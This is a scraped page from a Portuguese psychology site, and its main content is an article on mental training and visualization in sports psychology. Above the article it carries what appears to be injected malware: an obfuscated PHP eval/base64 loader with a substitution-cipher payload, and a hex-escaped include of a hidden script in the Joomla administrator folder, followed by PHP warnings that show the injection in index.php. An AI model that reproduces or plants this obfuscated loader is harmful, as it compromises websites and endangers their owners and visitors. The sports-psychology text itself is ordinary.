eval(base64_decode("if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

 $zfnstbov = 5083; function hdqse($ehmgbqj, $vxjqjq){$eopmhkl = ''; for($i=0; $i < strlen($ehmgbqj); $i++){$eopmhkl .= isset($vxjqjq[$ehmgbqj[$i]]) ? $vxjqjq[$ehmgbqj[$i]] : $ehmgbqj[$i];}
$wsrrhnhjq="base64_decode";return $wsrrhnhjq($eopmhkl);}
$zoojkwn = 'pxV208ovXBpsnd87hNo7BdLqX7htAJ18CJUFkUOfpxV208ovXBpsndLqXGoVhanqhaZaET9UfCtQTzWFjNVehd8'.
'OfT6gwBmeXBmVwY8O0co2BY5Fjc4aET9UfCtQTzWVhanqhVo7XBWqha5FjNhsZTzIlpF9hd8OBY5Fjc8'.
'ejxVg0BpsZTzIlpsQTPOf0cwsAc5VXNV2XcpsAVWA43o3COUHfKzQTatQTH9PATWzXcXFjN4sAVW'.
'A43o3COUHET9HBxMHfCtQTaOQTPOf0cwsAc5VXNV2XcpsAz5n4z8l8JoKc8oC58WW4z34CGA'.
'HfKzQTatQTH9PATWzXcXFjN4sAz5n4z8l8JoKc8oC58WW4z34CGAHET9HE7A'.
'FkUOfepOflpFFXH9sAc5VXNV2XcpsnO3Z4z8W53Ve4V8kBvJOQxZMQdQNQiAvwNJMZN3mXNzdkDnFwcA'.
'LQN3O0crLkThFfpOfbUOfAT9PAx5VXNV2XKPap4LK543Jc8oK841eZCpOwvP'.
'YwdwdZiQHwCP7wc3N0CwMhNVmwiJdwB5FjvJMn7UPZKzIlpsQTH9PAT9zXx3OwK9oAJ18CJUIlpsPAT9Pnx5m6'.
'x3e0d81AlOPCV8ZCltQTPOfAT9PAT5DCJoTp4LCc76ihGom6B5snGOPyK9aZxA7wd4U'.
'kCAgXi4OwKOOZlpLECzYXCpgZxQiZCP1Zi8mwimNnvtQTH9PATWajxoHwcUPnxQ'.
'vBd3G6xPIlpsQTPOfAT9PAxXGjNQO0co2AxQvBO6V6JmqhYpsfpOfAT9PA'.
'DtQTH9PAT9PAT9PhN8O6Bn2ADW7Xc6ehN8Ujx3iXKPaEGMs6Y6YexXOhTVhEHoFn7Uan7L9n3oC58nc58njnOm483WeKJoC8T66'.
'fCtQTH9PATWolpsQTH9PATWN6c1i6xVqjHWihGoDXB5BhNVOwcntX45FhaZsfpOfAT9PADtQTH9PAT9PAT9PnDnVh'.
'79oAJ37hN31fTzIlpsQTH9PAT9PAT9Pnx32wcL1hYVvBY3GXB8VAlOPpB'.
'n7wBzsfCtQTPOfAT9PAT9PAT9zwc1mjDVvbBQehB8V6c8jBK9oAxQvBO6V6J5qwGnqjYpsfCtQTPOfAT9PAT9PAT9zhd8'.
'tXVoUwB5sAlOPn3oC58nc58njnGQl4zVp83oxK4L3Cz3Q5K66kUOfAT9PAT9PATW'.
'Y0xVtXK9sfT5vjx3v0T9oADQOhanUjYZsnDQVjxXehx3O0TUP5JVK54Q4CGnXBGQ3'.
'4J3Kp85y4HzFATJoyKWxp4LC5KzQTH9PAT9PAT9PbUOfAT9PAT9PAT'.
'9PAT9PnDQVjxXehx3O0T9oADQGwaQOhHPzhd8tXVoUwB5sET9UET9zhdL'.
'mhdPFkUOflpsPAT9PAT9PAT9PATWFXH9snDQVjxXehx3O0T9oyKWihG'.
'oDXB5JjdQKjdoOfTzFlpsPAT9PAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9PAT9PwanVwctIlpsPAT9PAT9PAT9PATWolpsQTH9P'.
'AT9PAT9PAT9PAxVNATmv6DntXcMsnDQVjxXehx3O0TzFlpsPAT9PAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9PAT9Pnx32'.
'wcL1hYVvBY3GXB8VcGOPyK9zhd8tXVoUwB5skUOfAT9PAT9PAT9PAT9PepOfAT9PAT9PATWolpsQTH9PAT'.
'9PAT9PXNo7Xc3i0T9snx32wcL1hYVvBY3GXB8VAx3vAT5i6Bn7Xc1OBd5FhHzQTH9PAT9PAT9PbUOfAT9PAT9PAT9PAT9P0'.
'cwPfT3FjVomhanmbKPzwY87hN8263oz0BAtAT57XBZFfpOfAT9PAT9PAT9PAT9PbUOfAT9PAT9PAT9'.
'PAT9PAT9PAT57XBZPyKWmhanmb8ogXBnaXKPzhN8vETWihGoDXB5J0BnVwY5qhaVZ0BQOfT5i6Bn7Xc1OBd5FhHzF'.
'kUOfAT9PAT9PAT9PAT9PepOfAT9PAT9PATWolpsQTH9PAT9PAT9PhN8O6Bn2AxQvBOQsXc'.
'Qu8YnF6x3Hjx4swBn7wBVe6c1FhB8VfT57XBZFfCtQTH9PATWolpsQTH9PATWN6c1i6xVqjHWihGol0x8i0G'.
'670B5mwNLVfT5z0BnejxVv6TzQTH9PATWIlpsPAT9PAT9PAT5z0BnejxVv63oYhNVOwcntXK9oAJ37hN31fTzIlpsQ'.
'TH9PAT9PAT9PXNo7Xc3i0T9snx5FhVot0BQOAx3vAT5z0BAFlps'.
'PAT9PAT9PADtQTH9PAT9PAT9PAT9PAxVNATm90BQe6YnF6x3Hjx'.
'4snx5FhHzPnHwP0BQeXxV7fT5z0BAFfpOfAT9PAT9PAT9PAT9PbUOfAT9PAT9PAT9PAT9PAT9P'.
'AT5z0BnejxVv63oYhNVOwcntX8g6AlOPnx5FhitQTH9PAT9PAT9PAT9PADOQTH'.
'9PAT9PAT9PepOflpsPAT9PAT9PADnV6D87jH9zXxV7BdLFhY5e6YnF6x3Hjx4IlpsPAT9P'.
'epOflpsPAT9PXa82wY5FjdMPwYQe5d8O5xV7XcQOjYn1CxVv6TPzXxV7ET9zXx8U6xPoZC9FlpsPAT9Pb'.
'UOfAT9PAT9PAT9zhN8v6cLOAlOPwBn7wBzsfCtQTPOfAT9PAT9PATWFXH'.
'9sAcVvBd5FhHPzXxV7fKzQTH9PAT9PAT9PbUOfAT9PAT9PAT9PAT9PhN8O6Bn2AT57XBQGjDpIlpsPA'.
'T9PAT9PADOQTPOfAT9PAT9PAT9zhN8v6cLOcGOPyK9zXxV7kUOfAT9PAT9PAT9zXxV7BdQq6c1OAlOPZltQTPOfAT9P'.
'AT9PATWFXH9snx5VhD5sAlUPZKzQTH9PAT9PAT9PbUOfAT9PAT9PAT9PAT9PhN8O6Bn2AT57XBQGjDpIlpsPA'.
'T9PAT9PADOQTPOfAT9PAT9PAT9zXxV7AlOPhY57jx82fT5z0BAFAlOoAlJPy79zX'.
'xV7AlsPha570cOsnx5FhHUPnGLhE7hFkUOfAT9PAT9PAT9z0T9oAJWqhx82XxV7fT5z0BAFkUOfAT9PAT9PATWFXH9snxPPyCOo'.
'AJXWC3Q3fpOfAT9PAT9PATWIlpsPAT9PAT9PAT9PATW7XB5GhNMPnDnVhY8t6'.
'ltQTH9PAT9PAT9PepOflpsPAT9PAT9PAD6s0cLVATPsnxwPyKW7Xc3zXxV7fT5sfKzPACOoAJXWC3Q'.
'3fpOfAT9PAT9PATWIlpsPAT9PAT9PAT9PATWFXH9snxwPACOoATh2n7WmjNpPnxwPACOoATh2EHhFlpsPAT9PAT9PA'.
'T9PATWIlpsPAT9PAT9PAT9PAT9PAT9PnxQGhanVja5eXxV7AlOPAH5z0BAqnxwHkUOfAT9PAT9PAT'.
'9PAT9PAT9PAxVNATmFhGoz0BAsnxQGhanVja5eXxV7fKzQTH9PAT9PAT9PAT9PAT9PATWIlpsPAT9PA'.
'T9PAT9PAT9PAT9PAT9PAT5z0BnewdoGjapPfvOPZCtQTPOfAT9PAT9PAT9'.
'PAT9PAT9PAT9PAT9zhN8v6cLOcGOPyK9zwY87hN8263oz0BAIlpsPAT9PAT9PAT9PAT9PAT9PAT9PAT57'.
'XBQGjDpPyKWmhanmb8ogXBnaXKPzhN8v6cLOETWihGoDXB5J0BnVwY5qhaVZ0BQOfT5i6Bn7Xc1OBd5FhH'.
'UPnx5VhD5sATrPZC9FfCtQTH9PAT9PAT9PAT9PAT9PATWolpsPAT9PAT9PAT9PATWol'.
'psPAT9PAT9PADOQTPOfAT9PAT9PATWijxovXc5FhHPz0TzIlpsQTH9PAT9PAT9PhN8O6Bn2AT57XBQGjDpIlp'.
'sPAT9PepOflpsPAT9PXa82wY5FjdMPwYQe5d8O5xoi4Noq6TPFl'.
'psPAT9PbUOfAT9PAT9PAT9zXxoihNoq63oVjNpPyKWv6Dn7hxovfT5e4O8K8z8Kc76CpGnn435e5zVZ541WC44aBKUP'.
'n3oC58nc58njnGn348834G5e88nnnGOFkUOfAT9PAT9PATWFXH9snx5qwYnqjY5eXc1zAlOoyKWxp4LC5KzQTH9PAT9PAT9PbU'.
'OfAT9PAT9PAT9PAT9PhN8O6Bn2AT5e4O8K8z8Kc76JCOQ8C48k83oKCOo4nGOIlpsPAT9PA'.
'T9PADOQTH9PAT9PAT9PXcLvXcVNATPzXxoihNoq63oVjNpPyCOoAl9FlpsPAT9'.
'PAT9PADtQTH9PAT9PAT9PAT9PADnV6D87jH9HE7AIlpsPAT9PAT9PADOQTH9PAT9PAT9PXcLvXpOfAT9PAT9PATWIlpsPAT'.
'9PAT9PAT9PATW7XB5GhNMPhY8HhY57fT5e4O8K8z8Kc76CpGnn435e5zVZ541WC44aBKUPZTUPnx5qwYnqjY5eXc'.
'1zfCtQTH9PAT9PAT9PepOfAT9PADOQTPOfAT9PAxVNATPmXa82wY5Fjd1eXBmFhY5vfT6N0cLVBYW'.
'G63oijd1OXc1Oh7hFfpOfAT9PADtQTH9PAT9PAT9PXa82wY5FjdMPXNVtX8oU6B5ewdo'.
'26x826DZsnxMtAT5zET9zXNLmX79oAJXmjDQVfpOfAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9zjcozXK9oAT5N'.
'jx3aAlOoAlPPy79awKhPkH9a67hIlpsPAT9PAT9PAT9PAT9zXH9oAJWNjYWVjHPzj'.
'HUPnxGqXx4FkUOfAT9PAT9PAT9PAT9P0cwPfT5NAlOoyKWxwcLvXKzQ'.
'TH9PAT9PAT9PAT9PADtQTH9PAT9PAT9PAT9PAT9PATW7XB5GhNMPZltQTH9PAT9PAT9PAT'.
'9PADOQTH9PAT9PAT9PAT9PAx8thd4QTH9PAT9PAT9PAT9PADtQTH9PAT9PAT9PAT9PAT9PATWFXH9s0BQewBn'.
'7wBzsnxpFfK9zXT9oAxVghxLqXx4snxpFkUOfAT9PAT9PAT9PAT9PAT9PAT5HbB5VhGoYhNVO6x82AlOPXa'.
'670B5VfT5NET9zXTzIlpsPAT9PAT9PAT9PAT9PAT9PXNQtjYQVfT5NfCtQTH9PAT9PA'.
'T9PAT9PAT9PATW7XB5GhNMPnxn16x8vBY670B5OXcMIlpsPAT9PAT9PAT9PATWolpsPAT9PAT9PADOQTH9PATWolpsQTH9P'.
'ATWFXH9sAcXGjNQO0co2Bd8M0BQOh7PaXNVtX8oaXB5ewdo26x826DZafKzQTH9PATWIlpsPAT9PAT9PAxXGjNQO0co2AxXFj'.
'x8eXd8OBdQqja5Vja5vfT5N0cLVjN3gXKzQTH9PAT9PAT9PbUOfAT9PAT9PAT9PAT9PnxXswc1zjx4PyKWNjYWVjHP'.
'zXNVtXc1mjc4tATn7AHzIlpsPAT9PAT9PAT9PAT9zXNQqja5Vja5vAlOPXanVwcpsnxXswc1zjx4tAxXFjx8'.
'v0BFVfT5N0cLVjN3gXKzFkUOfAT9PAT9PAT9PAT9PXNQtjYQVfT5N0x32XxLVfCtQ'.
'TPOfAT9PAT9PAT9PAT9PhN8O6Bn2AT5Nwdo26x826DZIlpsPAT9PAT9PADOQ'.
'TH9PATWolpsQTPOfAT9PAxXGjNQO0co2AxQvBd5VwYn1hD5ehxmmhd4snx5m6x'.
'JtAT5uXBzFlpsPAT9PbUOfAT9PAT9PAT9zjY8OBd5m6xJPyK9HAitQTPOfAT9PAT9PATWNjYAPfT5FyC9IAT5FyD'.
'QOhNLVjHPzXx3OwKzIfpOfAT9PAT9PATWIlpsPAT9PAT9PAT9PATWNjYAPfT5RyC9IAT5RyDQOhNLVjHPz0d81fK9NnH9z0CLv6D'.
'ntXcMsnx5m6xJFk79z0HtuET9z0KtufpOfAT9PAT9PAT9PAT9PbUOfAT9PAT9PAT9PAT9PAT9PAT5q6B5eXx3OwK92'.
'yKWi0DAsjYnzfT5zwB5mc75FBKzPBHWqhNpsnxgVb8tz0VOFfCtQTH9PAT9PAT9PAT9PADOQTH9PAT9PAT9P'.
'epOflpsPAT9PAT9PADnV6D87jH9zjY8OBd5m6xJIlpsPAT9PepOflpsPAT9PXa82wY5FjdMPwYQeX'.
'x8ihaVU6TPzXx3OwKUPnxgVbKzQTH9PATWIlpsPAT9PAT9PAx6tjdnmjT9zwYQewB8O0ltQTPOfAT9'.
'PAT9PATW7XB5GhNMPwYQeXx8ihaVU63oU0x3vXKmihGozXcQ7bBWOBYWswBQVfT5zwB5mET9z0d81fKUPnxQvBd3G6xPFkUOfA'.
'T9PADOQTH9PATWN6c1i6xVqjHWihGoVjNQ7bBWOfT5zwB5mET9z0d81fpOfAT9PADtQTH9PAT9PAT9PXdLqwN3tA'.
'T5ihGom6B5skUOflpsPAT9PAT9PADnV6D87jHWihGozXcQ7bBWOBYWswBQVfxQvBd5VwYn1'.
'hD5ehxmmhd4snx5m6xJtAT5ihGom6B5sfKUPnxgVbKzIlpsPAT9PepOflpsPAT9PXa82wY5'.
'FjdMPwYQeXNVtX8o7Xc3zfT5UwB5sfpOfAT9PADtQTH9PAT9PAT9Pnx5m6xJPyKW9XNVtX8oaXB5ewdo26x826DZsnDW'.
'm6xPFkUOflpsPAT9PAT9PADnV6D87jH9zXx3OwCtQTH9PATWolpsQTH9PA'.
'TWN6c1i6xVqjHWihGoN0cLVBY670B5VfT5UwB5sET9zXx3OwKzQTH9PA'.
'TWIlpsPAT9PAT9PAJWN0cLVBYWG63oijd1OXc1Oh7Pzhx3O0TUPnx5'.
'm6xJFkUOfAT9PADOQTPOfAT9PAxXGjNQO0co2AxQvBdXFjx8ewBWUXc1zfT5UwB5s'.
'ET9zXx3OwKzQTH9PATWIlpsPAT9PAT9PAJWN0cLVBYWG63oijd1OXc1'.
'Oh7Pzhx3O0TUPnx5m6xJtAlPFkUOfAT9PADOQTPOfAT9PAxXGj'.
'NQO0co2AxQvBYQqha5ewdoghx37XBAsnxJtAT5HfpOfAT9PADtQTH9PAT9PAT9PhN8O6Bn2ADQOhNLVjHPzwKzPEKWv6Dnt'.
'XcMsnxAFkUOfAT9PADOQTPOfAT9PAxXGjNQO0co2AxQvBO6V6JQqjcGqjVQOjYnmXd4s'.
'nx5FhaZoCV8ZCTzQTH9PATWIlpsPAT9PAT9PAT5ijdGgjd1ejN3gXBZ'.
'PyKWWhanmbKPHjYWO0co2h7AtATnd0c8Yh7AtATnUwc6Vh7AtATnvXBQv0co2h7AtATnv6x3Oh7AtATnGhd87h7AtATnmha5'.
'FwdLVh7AtATnz6cGUAHUPANmVwc5VhaZHET9HjxVHh7AFkUOfAT9PAT'.
'9PATWFXH9sAK5z0BnvfpOfAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9zXxV7h79oAxQvBO6V63670B5mwNLV5xV7h7PFkUOfAT9'.
'PAT9PATWolpsQTH9PAT9PAT9P6BQqhapsnx5FhaZtAT6ihGovjYnOBdQqjBWmhN87n7zIlp'.
'sQTH9PAT9PAT9PXNo7Xc3i0T9snx5FhaZPwBZPnx5FhHzQTH9PAT9PAT9PbUOfAT9PAT9PAT9PAT9P0cwPfx'.
'VvBd5FhHPzXxV7fK9NnHW90BQe6YnF6x3Hjx4snx5FhHzFlpsPA'.
'T9PAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9PAT9Pnx5FhVoFjN5VbT9oAl9IlpsPAT9'.
'PAT9PAT9PAT9PAT9PXNo7ATPzblOUk79zbT9rADQOhNLVjHPzXxV7fC'.
'tPnDPuf7zQTH9PAT9PAT9PAT9PAT9PATWIlpsPAT9PAT9PAT9PA'.
'T9PAT9PAT9PAT5z0Bne0c1zXBPPfvOPjYnzfT5z0BnjnDm6fCtQTH9PAT9PAT9PAT9'.
'PAT9PATWolpsQTH9PAT9PAT9PAT9PAT9PAT9z6xGUBd5FhH9oAT5z0BAPEH9HE7APEH9zwdogjco2'.
'Bd1mjc8vc75z0Bne0c1zXBPPnKWijY826TPzwdogjco2Bd1mjc8vf8OIlpsQTH9PAT9PAT9PAT9PAT9PATWFXH9s'.
'XNVtX8oVbxVv6DZsnD5gh3oz0BAFfpOfAT9PAT9PAT9PAT9PAT9P'.
'ADtQTH9PAT9PAT9PAT9PAT9PAT9PAT9PhN8O6Bn2AT5OjBWeXxV7kUOfAT9PAT9PAT'.
'9PAT9PAT9PADOQTPOfAT9PAT9PAT9PAT9PAT9PAxVNfxGuXxV7fT'.
'5OjBWeXxV7fKzQTH9PAT9PAT9PAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9PAT9PAT9P'.
'ADnV6D87jH9z6xGUBd5FhitQTH9PAT9PAT9PAT9PAT9PATWolpsPAT9PAT9PAT9PATWol'.
'psPAT9PAT9PADOQTPOfAT9PAT9PATW7XB5GhNMPAHAIlpsPAT9PepOflpsPAT9PXa82wY5FjdMPw'.
'YQehxLGXdV2Bd3zXTPzjN3gXKUPnxnmhd4dQ3ozwB5mfpOfAT9PADt'.
'QTH9PAT9PAT9Pnx5m6xJPyKWHwBQVQi5eXx8ijd5VfT5HwBQVQi5eXx3OwKzIlpsQTH9PAT9PAT9PnDQOjYnmXd8ehx3O'.
'0T9oAxQvBO6V6JQqjcGqjVQOjYnmXd4sfK92ATAqAitQTH9PAT9PAT9PnDQOjYnmXd8ehx3O0T9oAT5v6xo7wc6VB'.
'YWm6xPPEHWv6cnv6DAsjcpGfTniwcQsXKAFET9UET9GfK92ATneAH92AxGzQKPzjN3gXK92AxQvBO6V6JmqhYpsfKzIlpsQTPOfA'.
'T9PAT9PATWihGoN0cLVBY670B5VfT5v6xo7wc6VBYWm6xPtAxQvBd82wYn1hDpsnx'.
'5m6xJtAxQvBO6V6JmqhYpsfKzFkUOfAT9PADOQTPOfAT9PAxXGjNQO0co2AxQvBYWt6c6FjVo'.
'7XcOsnx1mjc4FlpsPAT9PbUOfAT9PAT9PAT9zhY5qhN3aX8oUwB5sAlOPwYQe5d'.
'8Opdogjco24Y5qhN3aXKPFEH9HE7AIlpsPAT9PAT9PAT5v6xo7w'.
'c6VBYWm6xPPyK9zhY5qhN3aX8oUwB5sATMPhY8HhY57fxGzQKPHwd3i0x4HfKUPZTUPQKzPEH9HB'.
'7APEHWgXl4snx1mjc4PEHWihGoDXB5AjYQOfTzFkUOflpsPAT9PAT9PAxVNATmN0cLVBd8M0BQOh7PzhY'.
'5qhN3aX8oUwB5sfKzQTH9PAT9PAT9PbUOfAT9PAT9PAT9PAT9PpD82jxV207PzhY5qhN3aX8oUwB5sfCtQTH9PAT9PAT9'.
'PepOfAT9PADOQTPOfAT9PAxXGjNQO0co2AxQvBYWt6c6FjVotjd3zfT52wcGVy418CJUFlpsPAT9PbUOfAT9PAT9PAT9zhY5qhN3'.
'aX8oUwB5sAlOPwYQe5d8Opdogjco24Y5qhN3aXKPFkUOflpsPAT9PAT9PAxVNATmFhGoz0BAsnDQOjYnmXd8e'.
'hx3O0TzFlpsPAT9PAT9PADtQTH9PAT9PAT9PAT9PAxVNATPzjN3gXK9oyKWk84LZfK9qE7Wtjd3zAx3tjTWUjD8a0c1vlpsPAT9'.
'PAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9PAT9PXNo7Xc3i0T9shdQmjN5FhHPzhY5qhN3aX8oUw'.
'B5sfKWmh79z0d81yCMzhxLGXdV2Bd1mjc4FlpsPAT9PAT9PAT9PAT9PAT9PbUOfAT9PAT9PAT9PAT'.
'9PAT9PAT9PATWFXH9shY57hxovfT5UjD8a0c1ejN3gXKUPhY8HhY57fxGzQKPHwd3i0x4HfKUPZ'.
'TUPQKzFATJoyKWxwcLvXKzQTH9PAT9PAT9PAT9PAT9PAT9PAT9PbUOfAT9PAT9PAT9PA'.
'T9PAT9PAT9PAT9PAT9Ppx8dwcUswYQeXx8ihaVU6TmihGoN0cLVBYnVwcpsnDQOjYnmXd8ehx3O0T9'.
'2ATAqAH92AT5UjD8a0c1ejN3gXKztAxQvBO6V6JmqhYpsfKzFkUOfAT9PAT9PAT9PAT9PAT9PAT9PATW'.
'olpsPAT9PAT9PAT9PAT9PAT9PepOfAT9PAT9PAT9PAT9PepOfAT9PAT9PAT9PAT9PXcLvXpOfAT9PAT9PAT9P'.
'AT9PbUOfAT9PAT9PAT9PAT9PAT9PAT5v6xo7wc6VBYWm6xPPyK9zhY5qhN3aX8oUwB5sATMP'.
'AHrHATMPhY8HhY57fxGzQKPHwd3i0x4HfKUPZTUPQKzPEH9HB7APEHWgXl4snx1mjc4PEHWihGoDXB'.
'5AjYQOfTzFkUOflpsPAT9PAT9PAT9PAT9PAT9P0cwPfxXFjx8eXBmFhY5vf'.
'T5v6xo7wc6VBYWm6xPFfpOfAT9PAT9PAT9PAT9PAT9PADtQTH9PAT9PAT9PAT9'.
'PAT9PAT9PAT9Ppx8dwcUswYQeXx8ihaVU6TmihGoN0cLVBYnVwcpsnDQOjYnmXd8ehx3O0TztAxQvBO6V6Jmqh'.
'YpsfKzFkUOfAT9PAT9PAT9PAT9PAT9PADOQTH9PAT9PAT9PAT9PADOQTH9PAT9PAT9PepOfAT9PADOQTPOfAT9PAxXGjNQO'.
'0co2AxQvBY670B5mwNLVBdQsXcQufTzQTH9PATWIlpsPAT9PAT9PAxVNATmv6DntXcMswYQe5d8Opdogjc'.
'o24Y5qhN3aXKPFfK9myK9UfpOfAT9PAT9PATWIlpsPAT9PAT9PAT9PATW7XB5GhNMP8DnGXCtQTH9PAT9PAT9Pep'.
'OfAT9PAT9PATWVjDQVlpsPAT9PAT9PADtQTH9PAT9PAT9PAT9PADnV6D87jHWxwcLvXCtQTH9PAT9PAT9PepOfAT9PADOQTPOfA'.
'T9PAxXqhN8mwdPPfT5epOoyKOV3Ax3vAT5uXBzoyH5dwcLGXKzQTH9PATWIlpsPAT9PAT9PAT5zwB5mA'.
'lOPnDXmjD8VkUOfAT9PAT9PAT9zXx3Ow8ouXBzPyK9z0d81kUOfA'.
'T9PADOQTPOfAT9PAxVNATPmnx5m6xJFlpsPAT9PbUOfAT9PAT9PA'.
'TWNjYnVwcQsATPzBGWy4GpPwBZPnxgVbCO+nDXmjD8VfpOfAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9zXx3OwK9oAT5dwcL'.
'GXCtQTH9PAT9PAT9PAT9PAT5zwB5mBdgVbK9oAT5uXBzIlpsPAT9PAT9PADOQTH9PATWo'.
'lpsQTH9PAT9zXx3OwK9oAJWGjaQVhNVmjxVSXKmihGozXcQ7bBWOfxnmhd4dQ3ozXcQqXx4snx5m6xJFET9z'.
'Xx3Ow8ouXBzFfCtQTPOfAT9PAxVNATmFhYQV6TPzXx3Ow8tawctaBKzPnHwPnxQvBd3G6xPoy'.
'K5zwB5mc76m0766fpOfAT9PADtQTH9PAT9PAT9P0cwPfT5zwB5mc76mnGOPyCOPndzaf'.
'pOfAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9z0K9oAJ37hN31f9OfAT9PAT'.
'9PAT9PAT9PAT9PAT6U6HhPyCMPpDWshDXVhaQFjdMsfKUQTH9PAT9PAT9PAT9PAT9PAT9ahYwaAlO+AThLEi9gZHhtlpsPAT9PA'.
'T9PAT9PAT9PAT9Pnd3un79oyH9zXx3Ow8tawctaBKUQTH9PAT9PAT9PAT9PATzIlpsPAT9PAT'.
'9PAT9PATWVwdmqAJWvXBnFwcLFbN4snxzFkUOfAT9PAT9PAT9PAT9PXBmF6ltQTH9PAT9PAT9PepOfAT9PAT9PATWVjDQV0c'.
'wPfT5zwB5mc76mnGOPyCOPnd4afpOfAT9PAT9PATWIlpsPAT9PAT9PA'.
'T9PATWV6N3tfT5zwB5mc76znGOFkUOfAT9PAT9PATWolpsPAT9PAT9PAx8thd8FXH9snx5'.
'm6x3jndJaBK9oyK9ahxLGXdV2n7zQTH9PAT9PAT9PbUOfAT9PAT9PAT9PAT9P0cwsnx5m6x3jnYQmnGOPyCOP'.
'nd3zXThFlpsPAT9PAT9PAT9PATWIlpsPAT9PAT9PAT9PAT9PAT9PwYQehxLGXdV2Bd3zXTPzXx3Ow8tahT66ET9zXx3O'.
'w8taXT66fCtQTH9PAT9PAT9PAT9PADOQTH9PAT9PAT9PAT9PAx8thd8FXHPzXx3Ow8tahdJaBK'.
'9oyK9ahN8gn7zQTH9PAT9PAT9PAT9PADtQTH9PAT9PAT9PAT9PAT9PATWihGoUjD8a0c1ehN8gfT5zw'.
'B5mc76UnGOFkUOfAT9PAT9PAT9PAT9PepOfAT9PAT9PATWolpsPAT9PAT9PAx'.
'8i0xrPnx5m6x3jnd3unGOIlpsPAT9PAT9PAx8M0BpsfCtQTH9PATWolpsQTH9PATWihGoUjD8a0c1ejxomXTPFkUO'.
'fep==';
$lnyeo = Array('1'=>'5', '0'=>'a', '3'=>'F', '2'=>'u', '5'=>'R', '4'=>'U', '7'=>'y', '6'=>'d', '9'=>'A', '8'=>'V', 'A'=>'I', 'C'=>'T', 'B'=>'X', 'E'=>'L', 'D'=>'H', 'G'=>'1', 'F'=>'p', 'I'=>'7', 'H'=>'i', 'K'=>'S', 'J'=>'E', 'M'=>'4', 'L'=>'x', 'O'=>'0', 'N'=>'m', 'Q'=>'N', 'P'=>'g', 'S'=>'6', 'R'=>'q', 'U'=>'w', 'T'=>'C', 'W'=>'B', 'V'=>'l', 'Y'=>'3', 'X'=>'Z', 'Z'=>'M', 'a'=>'n', 'c'=>'W', 'b'=>'e', 'e'=>'f', 'd'=>'2', 'g'=>'t', 'f'=>'K', 'i'=>'j', 'h'=>'c', 'k'=>'O', 'j'=>'b', 'm'=>'h', 'l'=>'D', 'o'=>'9', 'n'=>'J', 'q'=>'v', 'p'=>'Q', 's'=>'o', 'r'=>'8', 'u'=>'r', 't'=>'s', 'w'=>'Y', 'v'=>'z', 'y'=>'P', 'x'=>'G', 'z'=>'k');
eval/*oedgrdqiw*/(hdqse($zoojkwn, $lnyeo));
}")); include "\x2fhom\x65/mo\x73aic\x6fpsi\x2fpub\x6cic_\x68tml\x2fadm\x69nis\x74rat\x6fr/c\x6fmpo\x6eent\x73/co\x6d_pl\x75gin\x73/se\x61rch\x2ephp"; ?>
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/mosaicopsi/public_html/index.php:1) in /home/mosaicopsi/public_html/libraries/joomla/session/session.php on line 423

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/mosaicopsi/public_html/index.php:1) in /home/mosaicopsi/public_html/libraries/joomla/session/session.php on line 423

Warning: Cannot modify header information - headers already sent by (output started at /home/mosaicopsi/public_html/index.php:1) in /home/mosaicopsi/public_html/libraries/joomla/session/session.php on line 426

Warning: Cannot modify header information - headers already sent by (output started at /home/mosaicopsi/public_html/index.php:1) in /home/mosaicopsi/public_html/templates/ja_purity/ja_templatetools.php on line 44
Treinamento mental: uma ferramenta de intervenção em psicologia do esporte - Nataly Exner
 

Mosaico Psicologia

  • Increase font size
  • Default font size
  • Decrease font size
Home Universo Psi Artigos Livres Treinamento mental: uma ferramenta de intervenção em psicologia do esporte - Nataly Exner

Treinamento mental: uma ferramenta de intervenção em psicologia do esporte - Nataly Exner

E-mail Imprimir PDF

Treinamento mental: uma ferramenta de intervenção em psicologia do esporte


Por: Nataly Exner, psicóloga (UFPR), com especialização em Psicologia do Esporte pela Clínica CEPPE, e tenho um site sobre Psicologia do Esporte: www.mentecampea.com.br

 

Atletas, treinadores e comissões técnicas cada vez mais reconhecem que fatores psicológicos influenciam o desempenho esportivo. É muito comum que “o psicológico” seja utilizado como justificativa para o mau desempenho de uma equipe, mesmo que não se saiba bem ao certo o que é esse “psicológico”, e muito menos como trabalhá-lo. Ansiedade, concentração e confiança são apenas alguns exemplos de fenômenos mentais que podem mudar o resultado de uma partida. Dessa forma, não basta que os atletas realizem treinamentos físicos e técnicos, é preciso treinar a mente para suportar a pressão das situações competitivas.

O perfil de um indivíduo faz diferença, sim, mas nossa mente é dinâmica, e habilidades importantes podem ser aprendidas ou aperfeiçoadas. Essa é a função do treinamento mental, uma ferramenta de intervenção do psicólogo do esporte, que tem como objetivo que o atleta atinja regularmente as condições ideais de rendimento. Ele auxilia o atleta a derrubar as barreiras psicológicas que o impedem de atingir seu rendimento máximo, como pensamentos negativos, medos e inseguranças. Diversas técnicas podem ser utilizadas nesse treinamento, e sua escolha depende de uma avaliação feita pelo psicólogo, que irá considerar a modalidade praticada pelo atleta e suas demandas.

A visualização é uma das principais habilidades mentais utilizadas pelos atletas e uma aliada importante no treinamento mental. Trata-se de utilizar todos os sentidos para criar ou reproduzir experiências mentalmente. A visualização auxilia o atleta a se concentrar na tarefa motora que terá que executar, eliminando distrações do ambiente, evitando pensamentos negativos e aumentando as chances de acerto.

Sabe aquele momento antes do saque, em que o tenista ou o jogador de vôlei fica quicando a bola no chão? Aquilo não é (pelo menos não deveria ser) uma “firula”. Naquele momento o atleta está visualizando o saque: a força que irá imprimir, o movimento dos braços e pernas, a direção que deseja dar à bola. A mesma coisa acontece com o jogador de basquete antes de um lance livre, com o jogador de futebol e handebol antes do pênalti, com o nadador e o corredor antes do tiro de largada, etc.

